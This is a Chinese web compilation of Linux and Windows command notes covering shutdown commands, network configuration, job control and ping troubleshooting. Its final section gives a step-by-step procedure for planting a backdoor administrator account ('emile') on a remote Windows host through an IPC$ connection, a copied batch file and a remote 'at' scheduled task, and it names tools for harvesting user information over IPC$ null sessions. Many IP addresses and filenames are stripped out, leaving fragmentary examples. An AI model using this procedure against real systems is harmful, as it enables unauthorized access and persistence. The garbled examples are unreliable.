linux命令总结【合集6篇】
下面是热心网友“tuokongliezhong”收集的linux命令总结(共6篇),供大家赏析。
一、Linux 的五个重启命令
1、shutdown
2、poweroff
3、init
4、reboot
5、halt
二、五个重启命令的具体说明
shutdown命令安全地将系统关机。 有些用户会使用直接断掉电源的方式来关闭linux,这是十分危险的。因为linux与windows不同,其后台运行着许多进程,所以强制关机可能会导致进程的数据丢失﹐使系统处于不稳定的状态﹐甚至在有的系统中会损坏硬件设备。而在系统关机前使用shutdown命令﹐系统管理员会通知所有登录的用户系统将要关闭。并且login指令会被冻结﹐即新的用户不能再登录。直接关机或者延迟一定的时间才关机都是可能的﹐还可能重启。这是由所有进程〔process〕都会收到系统所送达的信号〔signal〕
决定的。这让像vi之类的程序有时间储存目前正在编辑的文档﹐而像处理邮件〔mail〕和新闻〔news〕的程序则可以正常地离开等等。
shutdown执行它的工作是送信号〔signal〕给init程序﹐要求它改变runlevel。
Runlevel 0被用来停机〔halt〕﹐runlevel 6是用来重新激活〔reboot〕系统﹐而runlevel 1则是被用来让系统进入管理工作可以进行的状态﹔这是预设的﹐假定没有-h也没有-r参数给shutdown。要想了解在停机〔halt〕或者重新开机〔reboot〕过程中做了哪些动作﹐你可以在这个文件/etc/inittab里看到这些runlevels相关的资料。
shutdown 参数说明:
[-t] 在改变到其它runlevel之前﹐告诉init多久以后关机。
[-r] 重启计算器。
[-k] 并不真正关机﹐只是送警告信号给
每位登录者〔login〕。
[-h] 关机后关闭电源〔halt〕。
[-n] 不用init﹐而是自己来关机。不鼓励使用这个选项﹐而且该选项所产生的后果往往不总是你所预期得到的。
[-c] cancel current process取消目前正在执行的关机程序。所以这个选项当然没有时间参数﹐但是可以输入一个用来解释的讯息﹐而这信息将会送到每位使用者。
[-f] 在重启计算器〔reboot〕时忽略fsck。
[-F] 在重启计算器〔reboot〕时强迫fsck。
[-time] 设定关机〔shutdown〕前的时间。
最简单的关机命令
其实halt就是调用shutdown -h。halt执行时﹐杀死应用进程﹐执行sync系统调用﹐文件系统写操作完成后就会停止内核。
参数说明:
[-n] 防止sync系统调用﹐它用在用fsck修补根分区之后﹐以阻止内核用老版本的超级块〔superblock〕覆盖修补过的超级块。
[-w] 并不是真正的重启或关机﹐只是写
wtmp〔/var/log/wtmp〕纪录。
[-d] 不写wtmp纪录〔已包含在选项[-n]中〕。
[-f] 没有调用shutdown而强制关机或重启。
[-i] 关机〔或重启〕前﹐关掉所有的网络接口。
[-p] 该选项为缺省选项。就是关机时调用poweroff。
reboot的工作过程差不多跟halt一样﹐不过它是引发主机重启﹐而halt是关机。它 的参数与halt相差不多。
poweroff表示立即关机,效果等同于shutdown -h now,在多用户模式下(Run Level 3)不建议使用。
init是所有进程的祖先﹐它的进程号始终为1﹐所以发送TERM信号给init会终止所有的 用户进程﹑守护进程等。shutdown 就是使用这种机制。init定义了8个运行级别(runlevel), init 0为关机﹐init 1为重启。关于init可以长篇大论﹐这里就不再叙述。另外还有telinit命令可以改变init的运行级别﹐比如﹐telinit -iS可使系统进入单用户模式﹐ 并且得不到使用shutdown时的信息和等待时间。
1、ifconfig命令
功能:显示修改网卡的信息
ifconfig 显示网络信息
ifconfig eth0 显示eth0网络信息
修改网络信息:
ifconfig eth0 netmask 设置网卡1的地址,掩码为
ifconfig eth0:1 捆绑网卡1的第二个地址为
ifconfig eth0:x 捆绑网卡1的第n个地址为
例如:
# ifconfig eth0:1 1
# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:06:9C:24
inet addr: Bcast:55 Mask:
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4220 errors:0 dropped:0 overruns:0 frame:0
TX packets:3586 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes: ( Kb) TX bytes: ( Kb)
Interrupt:9 Base address:0x1400
eth0:1 Link encap:Ethernet HWaddr 00:0C:29:06:9C:24
inet addr:1 Bcast:55 Mask:
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Interrupt:9 Base address:0x1400
2、route命令
功能:显示当前路由设置情况
route 显示当前路由设置情况,比较慢一般不用。
route add -net netmask gw 54 添加静态路由
route del -net netmask gw 54 添加静态路由
route add default gw metric1 设置为默认的路由
route del default 将默认的路由删除
举例:
# route add -net netmask gw 54
# netstat -nr
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
U 0 0 0 eth0
54 UG 0 0 0 eth0
U 0 0 0 eth0
54 UG 0 0 0 eth0
# route del -net netmask gw 54
# netstat -nr
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
U 0 0 0 eth0
U 0 0 0 eth0
54 UG 0 0 0 eth0
3、netstat命令
功能:显示网络状态
netstat -an 查看网络端口信息
netstat -nr 查看路由表信息,比route快多了,
4、启动网络的命令
redhat族的命令:
/etc//network
debian命令:
/etc//networking
例如:
/etc//network stop 停止网络,
/etc//network start 启动网络,
5、手工修改网络配置
(1)、debian系统
配置文件位置为:/etc/network/interfaces
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0 eth1
iface eth0 inet static
address
netmask
network
broadcast
iface eth1 inet static
address
netmask
network
broadcast
gateway
修改后保存配置后,运行
/etc//networking restart
网络配置就改变了
(2)、redhat系统
配置文件位置为:/etc/sysconfig/network-scripts/ifcfg-eth0
DEVICE=eth0
BOOTPROTO=static
BROADCAST=55
IPADDR=
NETMASK=
NETWORK=
GATEWAY=54
ONBOOT=yes
TYPE=Ethernet
修改后保存配置后,运行
/etc//network restart
或者
service network restart
网络配置就改变了。
默认DNS的文件的位置为:/etc/
#cat /etc/
nameserver 1
6、网络排错
(1)、ping命令
功能:不说了,不知道就用干这行了。
ping
(2)、traceroute命令
功能:路由跟踪
traceroute
traceroute
(3)、nslookup命令
功能:域名解析排错
例如:
$ nslookup
Note: nslookup is deprecated and may be removed from future releases.
Consider using the `dig' or `host' programs instead. Run nslookup with
the `-sil[ent]' option to prevent this message from appearing.
>
Server: 1
Address: 1#53
Non-authoritative answer:
Name:
Address:
> server
Default server:
Address: #53
>
Server:
Address: #53
Non-authoritative answer: canonical name =
.
Name:
Address:
a> & 用在一个命令的最后,表示将命令放到后台执行
firefox &
b> ctrl + z 将正在前台执行的命令放到后台,并且暂停
[du@localhost ~]$ gedit ^Z [1]+ 已停止 gedit
[du@localhost ~]$
c> jobs 查看当前有多少在后台运行的命令
[du@localhost ~]$ jobs [1]+ 已停止 gedit
d> fg 将第jobnumber个后台命令切到前台运行
[du@localhost ~]$ fg 1 gedit
e> bg
使用Tab键自动补全是基本的技巧。它能节省你很多时间,而且当你不确定一个文件名或者命令怎么拼写时,它也及其有用。
举个例子,比如在当前目录你有一个文件,文件名是“really long file nam”,你想删除这个文件。你可以输入整个文件名,但是你得小心输错空格符(需要用转义)。如果你输入”rm r”,然后按Tab键,Bash会自动为你补全这个文件的名字。
当然,如果当前目录中你有很多以字母r开头的文件,Bash就会不知道你指的是哪一个。比如当前目录你有另一个名字叫做“really very long file name”的文,当你按Tab键时,Bash会补全到“really”部分,因为两个文件都是以这开头的。然后,再按Tab键你会看到所有能匹配该开头的文件列表。
接着输入你想要的文件名然后按Tab键。这样,当我们输“l”然后按Tab键时,Bash会自动补全我们想要的文件名。
这种方法对于输入命令来说同样适用。当你不确定你想要的命令是什么,只记得以”gnome”开头时,输入“gnome”然后按Tab键,你就会看到所有可能的结果。
使用Ping检查连通性有五个步骤:
1.使用ipconfig/all观察本地网络设置是否正确;
,回送地址Ping回送地址是为了检查本地的TCP/IP协议有没有设置好; 本机IP地址,这样是为了检查本机的IP地址是否设置有误;
本网网关或本网IP地址,这样的是为了检查硬件设备是否有问题,也可以检查本机与本地网络连接是否正常;(在非局域网中这一步骤可以忽略)
远程IP地址,这主要是检查本网或本机与外部的连接是否正常。
在检查网络连通的过程中可能出现一些错误,这些错误总的来说分为两种最常见: “requesttimeout”这提示除了对方可能装有防火墙或已关机以外,还有就是本机的IP不正确和网关设置错误。①、IP不正确:IP不正确主要是IP地址设置错误或IP地址冲突,这可以利用ipconfig/all这命令来检查。在WIN2000下IP冲突的情况很少发生,因为系统会自动检测在网络中是否有相同的IP地址并提醒你是否设置正确。在NT中不但会出现“requesttimeout”这提示而且会出现“Hardwareerror”这提示信息比较特殊不要给它的提示所迷惑。
②、网关设置错误:这个错误可能会在第四个步骤出现。网关设置错误主要是网关地址设置不正确或网关没有帮你转发数据,还有就是可能远程网关失效。这里主要是在你Ping外部网络地址时出错。错误表现为无法Ping外部主机返回信息“Requesttimeout”。
Unreachable 当你在开始PING网络计算机时如果网络设备出错它返回信息会提示“destinationhostunreachable”。如果局域网中使用DHCP分配IP时,而碰巧DHCP失效,这时使用PING命令就会产生此错误。因为在DHCP失效时客户机无法分配到IP系统只有自设IP,它往往会设为不同子网的IP。所以会出现“DestinationHostUnreachable”。另外子网掩码设置错误也会出现这错误。
还有一个比较特殊就是路由返回错误信息,它一般都会在“DestinationHostUnreachable”前加上IP地址说明哪个路由不能到达目标主机。这说明你的机器与外部网络连接没有问题,但与某台主机连接存在问题。
举个例子吧。我管理的网络有19台机,由一台100M集线器连接服务器,使用DHCP动态分配IP地址。有一次有位同事匆忙地告诉我“我的OUTLOOK打不开了”,我到他机器检查,首先我检查了本地网络设置,我用ipconfig/all看IP分配情况一切正常。接着我就开始PING网络中的其中一台机器,第一次PING结果很正常,但OUTLOOK还是无法使用其它网络软件和Copy网络文件都可以使用但网络速度很慢,第二次PING我用了一个参数-t(-t可以不中断地PING对方,当时我想PING一次可能发现不了问题)发现有time=30ms和requesttimeout,从服务器PING这台机就更有趣,requesttimeout比正常数据还多,在局域中竟然有time=30ms和requesttimeout太不正常了。开始我认为是网卡的问题但换网卡后故障依旧,重做网线还是不能解决问题,这故障真有趣!最后我没办法了把它插在集线器端口上的另一端的网线换到另一个端口,哈!故障解决了。原来是集线器端口坏了。
如何用Ping命令来判断一条链路的速度?
Ping这个命令除了可以检查网络的连通和检测故障以外,还有一个比较有趣的用途,那就是可以利用它的一些返回数据,来估算你跟某台主机之间的速度是多少字节每秒 我们先来看看它有那些返回数据。
: :bytes=32time=590msTTL=114 :bytes=32time=590msTTL=114 :bytes=32time=590msTTL=114 :bytes=32time=601msTTL=114 : Packets:Sent=4,Received=4,Lost=0(0%loss), Approximateroundtriptimesinmilli-seconds: Minimum=590ms,Maximum=601ms,Average=593ms 在例子中“bytes=32”表示ICMP报文中有32个字节的测试数据(这是估算速度的关键数据),“time=590ms”是往返时间。
怎样估算链路的速度呢?举个例子吧。我们把A和B之间设置为PPP链路。
从上面的PING例子可以注意到,默认情况下发送的ICMP报文有32个字节。除了这32个字节外再加上20个字节的IP首部和8个字节的ICMP首部,整个IP数据报文的总长度就是60个字节(因为IP和ICMP是Ping命令的主要使用协议,所以整个数据报文要加上它们)。另外在使用Ping命令时还使用了另一个协议进行传输,那就是PPP协议(点对点协议),所以在数据的开始和结尾再加上8个字节。在传输过程中,由于每个字节含有8bit数据、1bit起始位和1bit结束位,因此传输速率是每个字节。由此我们可以估计需要405ms。即68**2(乘2是因为我们还要计算它的往返时间)。我们来测试一下b/s的链路:
: :bytes=32time=415msTTL=114 :bytes=32time=415msTTL=114 :bytes=32time=415msTTL=114 :bytes=32time=421msTTL=114 : Packets:Sent=4,Received=4,Lost=0(0%loss), Approximateroundtriptimesinmilli-seconds: Minimum=415ms,Maximum=421ms,Average=417ms 看是不是差不多啊。^^
这里大家可能要注意到,这估算值跟实际值是有误差的,为什么呢?因为我们现在估算的是一个理论值,还有一些东西我们没有考虑。比如在网络中的其它干扰,这些干扰主要来之别的计算机。因为在你测试时不可能全部计算机停止使用网络给你做测试,这是不实际的。另外就是传输设备,因为有某些设备如MODEM它在传输时会把数据压缩后再发送,这大大减少了传输时间。这些东西产生的误差我们是不能避免的,但其数值大约在5%以内我们都可以接受(利用MODEM传输例外),但是可以减少误差的产生。比如把MODEM的压缩功能关闭和在网络没有那么繁忙时进行测试。有时候误差是无须消除的。因为我们需要这些误差跟所求得的理论值进行比较分析,从而找出网络的缺陷而进行优化。这时测试网络的所有数据包括误差都会成为我们优化的依据。
还要注意,这种算法在局域网并不适用,因为在局域网中速度非常的快几乎少于1ms,而Ping的最小时间分辨率是1ms,所以根本无法用Ping命令来检测速度。如果想测试速度那就要用专门仪器来检测。总的来说,Ping命令是一个在故障检查方面很有用而且很便利的工具,你不应该忽视它的存在。
net view *.*.*.* 查看指定IP主机上的共享
nbtstat-A *.*.*.* 得到远程主机的NetBIOS用户名列表
copy *.*.*.*Admin$system32 即将当前目录下的复制到对方Admin$共享的System32目录内
建立IPC$连接
例子: net use $ “" /user:”administrator“ 查看帐号— net user 建立帐号— net user name passwd /add 删除帐号— net user name passwd /del 断开连接:
键入“net use * /del”命令断开所有的IPC$连接。键入“net use 目标IPIPC$ /del”可以删除指定目标IP的IPC$连接。
实例:建立后门帐号,步骤如下:(1)编写BAT文件:
打开记事本,输入“net user emile /add”和“net localgroup administrators emile /add”,然后把文件另存为“”,保存在cmd当前默认目录下。(2)与目标主机建立IPC$连接,以为例:
打开cmd窗口,分别执行命令:
net use $ ”“ /user:”administrator“ net use z: C$(3)拷贝bat文件到目标主机:
在cmd窗口输入copy C$,把文件拷贝到目标位置;也可以打开映射驱动器用图形界面直接进行拷贝操作。(4)通过计划任务使远程主机执行文件:
首先键入“net time IP”查看远程主机的系统时间,再键入“at IP TIME COMMAND”命令在远程主机上建立计划任务。
参数说明:IP—目标主机IP;TIME—设定计划任务执行的时间;COMMAND—计划任务要执行的命令,如此处为C:。
计划任务添加完毕后,使用命令“net use * /del”断开IPC$连接。(5)验证帐号是否成功建立:
等待一段时间,当估计远程主机已经执行文件后,通过用新帐号建立IPC$连接来验证是否成功建立“emile”帐号,连接成功则说明帐号成功建立。
(3)获取目标主机上的用户信息:和X-Scan是常用的两款获取用户信息的工具。
是利用IPC$漏洞来查看目标主机用户信息的工具,通过USERINFO来查看目标主机用户信息的时候,并不需要事先建立IPC$空连接。命令:USERINFO IP USER 用来查看目标IP上USER用户信息,然后根据反馈的结果进行具体分析。
扫描器也是利用目标主机存在的IPC$空连接漏洞,获取用户信息,用法略
net user 查看用户列表
net user 用户名 密码 /add 添加用户 net user 用户名 密码 更改用户密码
net localgroup administrators 用户名 /add 添加用户到管理组 net user 用户名 /delete 删除用户 net user 用户名 /delete 删除用户 net user 用户名 查看用户的基本情况 net user 用户名 /active:no 禁用该用户 net user 用户名 /active:yes 启用该用户
net share 查看计算机IPC$共享资源 net share 共享名 查看该共享的情况
net share 共享名=路径 设置共享。例如 net share c$=c: net share 共享名 /delete 删除IPC$共享
net use 查看IPC$连接情况
net use ipipc$ ”密码“ /user:”用户名" ipc$连接
net time ip 查看远程计算机上的时间
copy 路径:文件名 ip共享名 复制文件到已经ipc$连接的计算机上
net view ip 查看计算机上的共享资源
ftp 服务器地址 进入FTP服务器
at 查看自己计算机上的计划作业
at ip 查看远程计算机上的计划作业
at ip 时间 命令(注意加盘符)在远程计算机上加一个作业 at ip 计划作业ID /delete 删除远程计算机上的一个计划作业 at ip all /delete 删除远程计算机上的全部计划作业